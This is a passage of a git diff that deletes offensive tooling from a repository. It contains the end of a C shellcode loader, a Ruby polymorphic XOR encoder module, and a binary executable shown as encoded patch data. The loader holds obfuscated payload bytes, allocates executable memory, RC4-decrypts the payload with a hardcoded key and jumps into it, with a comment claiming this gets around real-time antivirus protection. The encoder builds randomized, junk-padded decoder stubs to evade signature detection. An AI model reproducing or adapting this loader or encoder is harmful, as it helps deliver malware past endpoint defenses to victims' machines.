buf[1139] = '\x2c3'-641; - buf[1140] = '\x331'-641; - buf[1141] = '\x28c'-641; - buf[1142] = '\x345'-641; - buf[1143] = '\x2d7'-641; - buf[1144] = '\x2b9'-641; - buf[1145] = '\x353'-641; - buf[1146] = '\x32e'-641; - buf[1147] = '\x364'-641; - buf[1148] = '\x2dd'-641; - buf[1149] = '\x2a9'-641; - buf[1150] = '\x31c'-641; - buf[1151] = '\x35f'-641; - buf[1152] = '\x2e0'-641; - buf[1153] = '\x337'-641; - buf[1154] = '\x297'-641; - buf[1155] = '\x321'-641; - buf[1156] = '\x319'-641; - buf[1157] = '\x2e9'-641; - buf[1158] = '\x30d'-641; - buf[1159] = '\x302'-641; - buf[1160] = '\x345'-641; - buf[1161] = '\x28b'-641; - buf[1162] = '\x2f6'-641; - buf[1163] = '\x2c1'-641; - buf[1164] = '\x320'-641; - buf[1165] = '\x333'-641; - buf[1166] = '\x2df'-641; - buf[1167] = '\x33d'-641; - buf[1168] = '\x30f'-641; - buf[1169] = '\x2db'-641; - buf[1170] = '\x2ae'-641; - buf[1171] = '\x370'-641; - buf[1172] = '\x333'-641; - buf[1173] = '\x337'-641; - buf[1174] = '\x2b6'-641; - buf[1175] = '\x290'-641; - buf[1176] = '\x2e7'-641; - buf[1177] = '\x31d'-641; - buf[1178] = '\x31d'-641; - buf[1179] = '\x352'-641; - buf[1180] = '\x316'-641; - buf[1181] = '\x378'-641; - buf[1182] = '\x2f1'-641; - buf[1183] = '\x30a'-641; - buf[1184] = '\x2be'-641; - buf[1185] = '\x342'-641; - buf[1186] = '\x372'-641; - buf[1187] = '\x2e5'-641; - buf[1188] = '\x2e9'-641; - buf[1189] = '\x2b2'-641; - buf[1190] = '\x294'-641; - buf[1191] = '\x2b4'-641; - buf[1192] = '\x32a'-641; - buf[1193] = '\x2bb'-641; - buf[1194] = '\x32f'-641; - buf[1195] = '\x2a2'-641; - buf[1196] = '\x37b'-641; - buf[1197] = '\x36d'-641; - buf[1198] = '\x322'-641; - buf[1199] = '\x2d9'-641; - buf[1200] = '\x351'-641; - buf[1201] = '\x2da'-641; - buf[1202] = '\x303'-641; - buf[1203] = '\x28f'-641; - buf[1204] = '\x2f5'-641; - buf[1205] = '\x28a'-641; - buf[1206] = '\x2e4'-641; - buf[1207] = '\x36c'-641; - buf[1208] = '\x2bc'-641; - buf[1209] = '\x338'-641; - buf[1210] = '\x362'-641; - buf[1211] = '\x316'-641; - buf[1212] = '\x2d4'-641; - buf[1213] = '\x360'-641; - buf[1214] = '\x298'-641; - buf[1215] = '\x37f'-641; - buf[1216] = '\x34a'-641; - buf[1217] = '\x348'-641; - buf[1218] = '\x345'-641; - buf[1219] = '\x33c'-641; - buf[1220] = '\x311'-641; - buf[1221] = '\x2a0'-641; - buf[1222] = '\x35f'-641; - buf[1223] = '\x29c'-641; - buf[1224] = '\x322'-641; - buf[1225] = '\x37c'-641; - buf[1226] = '\x33e'-641; - buf[1227] = '\x35c'-641; - buf[1228] = '\x285'-641; - buf[1229] = '\x2dc'-641; - buf[1230] = '\x313'-641; - buf[1231] = '\x297'-641; - buf[1232] = '\x32f'-641; - buf[1233] = '\x312'-641; - buf[1234] = '\x319'-641; - buf[1235] = '\x376'-641; - buf[1236] = '\x369'-641; - buf[1237] = '\x29d'-641; - buf[1238] = '\x35f'-641; - buf[1239] = '\x2b1'-641; - buf[1240] = '\x2bf'-641; - buf[1241] = '\x2c0'-641; - buf[1242] = '\x2e7'-641; - buf[1243] = '\x30a'-641; - buf[1244] = '\x367'-641; - buf[1245] = '\x312'-641; - buf[1246] = '\x286'-641; - buf[1247] = '\x286'-641; - buf[1248] = '\x2a4'-641; - buf[1249] = '\x2d5'-641; - buf[1250] = '\x359'-641; - buf[1251] = '\x377'-641; - buf[1252] = '\x34b'-641; - buf[1253] = '\x362'-641; - buf[1254] = '\x373'-641; - buf[1255] = '\x2db'-641; - buf[1256] = '\x325'-641; - buf[1257] = '\x34c'-641; - buf[1258] = '\x2a6'-641; - buf[1259] = '\x34e'-641; - buf[1260] = '\x35c'-641; - buf[1261] = '\x355'-641; - buf[1262] = '\x2f0'-641; - buf[1263] = '\x2b2'-641; - buf[1264] = '\x304'-641; - buf[1265] = '\x2e7'-641; - buf[1266] = '\x35e'-641; - buf[1267] = '\x2f0'-641; - buf[1268] = '\x327'-641; - buf[1269] = '\x283'-641; - buf[1270] = '\x2bc'-641; - buf[1271] = '\x28e'-641; - buf[1272] = '\x31a'-641; - buf[1273] = '\x32e'-641; - buf[1274] = '\x2e4'-641; - - LPVOID lpBuf = VirtualAlloc(NULL, size, MEM_COMMIT, 0x00000040); - memset(lpBuf, '\0', size); - - HANDLE proc = OpenProcess(0x1F0FFF, false, 4); - // Checking NULL allows us to get around Real-time protection - if (proc == NULL) { - RC4("UCMDTIpmhpeOPzOnQaCqPRZHztcoWyZaBaLpQXBAmidoZMhiunctUpYVGlHkha", buf, (char*)lpBuf, size); - void (*func)(); - func = (void (*)()) lpBuf; - (void)(*func)(); - } - - return 0; -} \ No newline at end of file diff --git a/modules/encoders/x64/xor_poly.rb b/modules/encoders/x64/xor_poly.rb deleted file mode 100644 index 5425389afe52..000000000000 --- a/modules/encoders/x64/xor_poly.rb +++ /dev/null @@ -1,197 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Encoder::Xor - - def initialize - super( - 'Name' => 'XOR POLY Encoder', - 'Description' => 'An x86 Simple POLY Xor encoding method.', - 'Author' => [ 'Arthur RAOUT' ], - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Decoder' => { - 'KeySize' => 4, - 'BlockSize' => 4, - 'KeyPack' => 'V' - } - ) - end - - # Indicate that this module can preserve some registers - # ...which is currently not true. This is a temp fix - # until the full preserve_registers functionality is - # implemented. - def can_preserve_registers? - true - end - - def choose_permutation(state, table) - table = table.shuffle - for i in 0..table.length - 1 - if table[i].count(state.badchars).zero? - return table[i] - end - end - raise 'No permutation found for the badchar set :' + state.badchars.inspect - end - - # generate instruciton for a push - def register_preservation_generate(flag, regs) - ret = '' - pop = 0b0101_1000 - push = 0b0101_0000 - if flag == 0 - for r in regs - ret += [push | r].pack('C') - end - end - if flag == 1 - for r in regs.reverse - ret += [pop | r].pack('C') - end - end - return ret - end - - def decoder_stub(state) - # calculate the (negative) block count . We should check this against state.badchars. - state.decoder_key_size = 4 - state.decoder_key_pack = 'V' - block_count = [-(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') - block_count_positive = [(((state.buf.length - 1) / state.decoder_key_size) + 1)].pack('V') - - # EAX ECX EDX EBX ESI EDI - regs = [0b0000, 0b0001, 0b0010, 0b0011, 0b0110, 0b0111] - - # POP | REG - pop = 0b0101_1000 - # PUSH | REG - push = 0b0101_0000 - - mov = 0b1011_1000 - - reg1 = regs[rand(6)] - regs.delete(reg1) - reg2 = regs[rand(5)] # Fixed to ECX register for now as long as we use Loop instruction, will be set to random when loop replaced by manual jmp - regs.delete(reg2) # remove it from the list - reg3 = regs[rand(4)] # random register - regs.delete(reg3) # remove it from the list - reg4 = regs[rand(3)] # random register reg4 is useless and used for nopLike operations - regs.delete(reg4) # remove it from the list - - # NOPS - nop_nop_nop_nop = "\x90\x90\x90\x90" # 4 bytes - push_pop12 = [push | reg1, push | reg2, pop | reg2, pop | reg1].pack('CCCC') # 4 bytes - push_pop34 = [push | reg3, push | reg4, pop | reg4, pop | reg3].pack('CCCC') # 4 bytes - push_pop56 = [push | reg4, push | reg1, pop | reg1, pop | reg4].pack('CCCC') # 4 bytes - - sub_reg_0 = [0x83, (0xE8 | rand(6)), 0x00].pack('CCC') # 3 bytes - add_reg_0 = [0x83, (0xc0 | rand(6)), 0x00].pack('CCC') # 3 bytes - add_reg4_1 = [0x83, (0xc0 | reg4), 0x01].pack('CCC') # 3 bytes - add_reg4_33 = [0x83, (0xc0 | reg4), 0x33].pack('CCC') # 3 bytes - add_reg4_f1 = [0x83, (0xc0 | reg4), 0xf1].pack('CCC') # 3 bytes - nop_nop_nop = "\x90\x90\x90" # 3 bytes - - push_pop1 = [push | reg1, pop | reg1].pack('CC') # 2 bytes - push_pop2 = [push | reg2, pop | reg2].pack('CC') # 2 bytes - push_pop3 = [push | reg3, pop | reg3].pack('CC') # 2 bytes - push_pop4 = [push | reg4, pop | reg4].pack('CC') # 2 bytes - inc_reg1_dec_reg1 = [0x40 | reg1, 0x48 | reg1].pack('CC') # 2 bytes - inc_reg2_dec_reg2 = [0x40 | reg2, 0x48 | reg2].pack('CC') # 2 bytes - inc_reg3_dec_reg3 = [0x40 | reg3, 0x48 | reg3].pack('CC') # 2 bytes - inc_reg4_dec_reg4 = [0x40 | reg4, 0x48 | reg4].pack('CC') # 2 bytes - - # nops tables by size - nops_2_bytes = [push_pop1, push_pop2, push_pop3, push_pop4, "\x90\x90", inc_reg1_dec_reg1, inc_reg2_dec_reg2, inc_reg3_dec_reg3, inc_reg4_dec_reg4] - nops_3_bytes = [nop_nop_nop, push_pop1 + "\x90", push_pop2 + "\x90", push_pop3 + "\x90", push_pop4 + "\x90", sub_reg_0, add_reg_0, choose_permutation(state, nops_2_bytes) + "\x90", add_reg4_1, add_reg4_33, add_reg4_f1] - nops_4_bytes = [nop_nop_nop_nop, push_pop12, push_pop34, push_pop56, choose_permutation(state, nops_2_bytes) + choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes) + "\x90"] - - # THE DECODER CODE - pop_reg1 = [pop | reg1].pack('C') - - # sub 5 from reg1 on 5 byte - sub_reg1_5 = [0x83, (0xE8 | reg1), 0x05].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes - add_reg1_neg5 = [0x83, (0xc0 | reg1), 0xfb].pack('CCC') + choose_permutation(state, nops_2_bytes) # 5 bytes - dec_reg1_5 = [0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1, 0x48 | reg1].pack('CCCCC') # 5 bytes - - # set reg2 to 0, on 6 bytes - xor_reg2_reg2 = [0x31, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes - and_reg2_0 = [0x83, (0xE0 | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes - lea_reg2_0 = [0x8D, (0x05 | (reg2 << 3)), 0x00, 0x00, 0x00, 0x00].pack('CCCCCC') - imul_reg2_reg2_0 = [0x6b, (0xC0 | (reg2 << 3) | reg2), 0x00].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes - sub_reg2_reg2 = [0x29, (0xC0 | (reg2 << 3) | reg2)].pack('CC') + choose_permutation(state, nops_4_bytes) # 6 bytes - push0_popreg2 = [0x6A, 0x00, (0x58 | reg2)].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes - - # SET REG2 TO BLOCK_COUNT - sub_reg2_bc = [0x81, (0xe8 | reg2)].pack('CC') + block_count - add_reg2_bc = [0x81, (0xc0 | reg2)].pack('CC') + block_count_positive - - mov_reg3 = [mov | reg3].pack('C') - xor_rel_reg1_reg3 = [0x31, (0x40 | (reg3 << 3 | reg1))].pack('cc') - - # ADD 4 TO REG1 - add_reg1_4 = [0x83, (0xC0 | reg1), 0x04].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes - sub_reg1_neg4 = [0x83, (0xE8 | reg1), 0xFC].pack('CCC') + choose_permutation(state, nops_3_bytes) # 6 bytes - inc_reg1_4 = [0x40 | reg1, 0x40 | reg1, 0x40 | reg1, 0x40 | reg1].pack('CCCC') + choose_permutation(state, nops_2_bytes) # 6 bytes - - # sub 1 from reg2 on 6 bytes - dec_r2 = [0xFF, (0xC8 | reg2)].pack('CC') - sub_reg2_1 = [0x83, (0xE8 | reg2), 0x01].pack('CCC') - add_reg2_neg1 = [0x83, (0xC0 | reg2), 0xFF].pack('CCC') - - set_reg2_0 = [xor_reg2_reg2, and_reg2_0, lea_reg2_0, imul_reg2_reg2_0, sub_reg2_reg2, push0_popreg2] - sub_reg1_0x5 = [sub_reg1_5, add_reg1_neg5, dec_reg1_5] - set_reg2_bc = [sub_reg2_bc, add_reg2_bc] - - # GET EIP TO REG1 - call_pop = [0xE8, 0x00, 0x00, 0x00, 0x00].pack('CCCCC') + pop_reg1 + choose_permutation(state, sub_reg1_0x5) - fpu_inst = ["\xD9\xE0", "\xDF\xE9", "\xDB\xC9", "\xDA\xD9", "\xDA\xC1", "\xDA\xD1", "\xDB\xD9"] # 2 bytes - fnstenv_pop = choose_permutation(state, fpu_inst) + "\xD9\x74\x24\xF4" + pop_reg1 - add_reg1_0x4 = [add_reg1_4, sub_reg1_neg4, inc_reg1_4] - dec_reg2 = [dec_r2, sub_reg2_1, add_reg2_neg1] - get_eip = [call_pop, fnstenv_pop] - - small_junk = [choose_permutation(state, nops_2_bytes), choose_permutation(state, nops_3_bytes), choose_permutation(state, nops_4_bytes)] - - reg_for_preservation = [reg1, reg2, reg3, reg4].shuffle - reg_push = register_preservation_generate(0, reg_for_preservation) - reg_pop = register_preservation_generate(1, reg_for_preservation) - geip = choose_permutation(state, get_eip) - junk = choose_permutation(state, small_junk) - reg2_0 = choose_permutation(state, set_reg2_0) - block_count_set = choose_permutation(state, set_reg2_bc) - reg1_add4 = choose_permutation(state, add_reg1_0x4) - decrement_reg2 = choose_permutation(state, dec_reg2) - - decoder = reg_push + - geip + # get EIP into REG1 - junk + # small junk - reg2_0 + # set REG2 to 0 - block_count_set + # sub reg2, block_count - mov_reg3 + 'XXXX' + # mov reg3, 0xKEY_KEY_KEY_KEY - xor_rel_reg1_reg3 + 'LL' + # xor [reg1+DECODER_LEN], reg3 - reg1_add4 + # add reg1, 4 - decrement_reg2 + # dec reg2 - "\x75" + 'SS' + # jnz to xor - reg_pop - - decoder_len = decoder.size - jmp = decoder.index(xor_rel_reg1_reg3) - decoder.index('SS') - decoder.sub! 'SS', [jmp].pack('C') - decoder.sub! 'LL', [decoder_len - 6].pack('C') - # e800000000 call loc._start.continue - # 58 pop eax - # 83e805 sub eax, 5 - # 31c9 xor ecx, ecx - # 81e9bbbbbbbb sub ecx, 0xbbbbbbbb - # bbaaaaaaaa mov ebx, 0xaaaaaaaa - # 31581f xor dword [eax + 0x1f], ebx - # 83e8f4 sub eax, 0xfffffff4 - # e2f8 loop loc._start.check - state.decoder_key_offset = decoder.index('XXXX') - return decoder - end -end diff --git a/testings/LLZEbwW.exe b/testings/LLZEbwW.exe deleted file mode 100644 index 627668c8794e4e5fe6ebb4a89518dc956adc401d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 169472 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 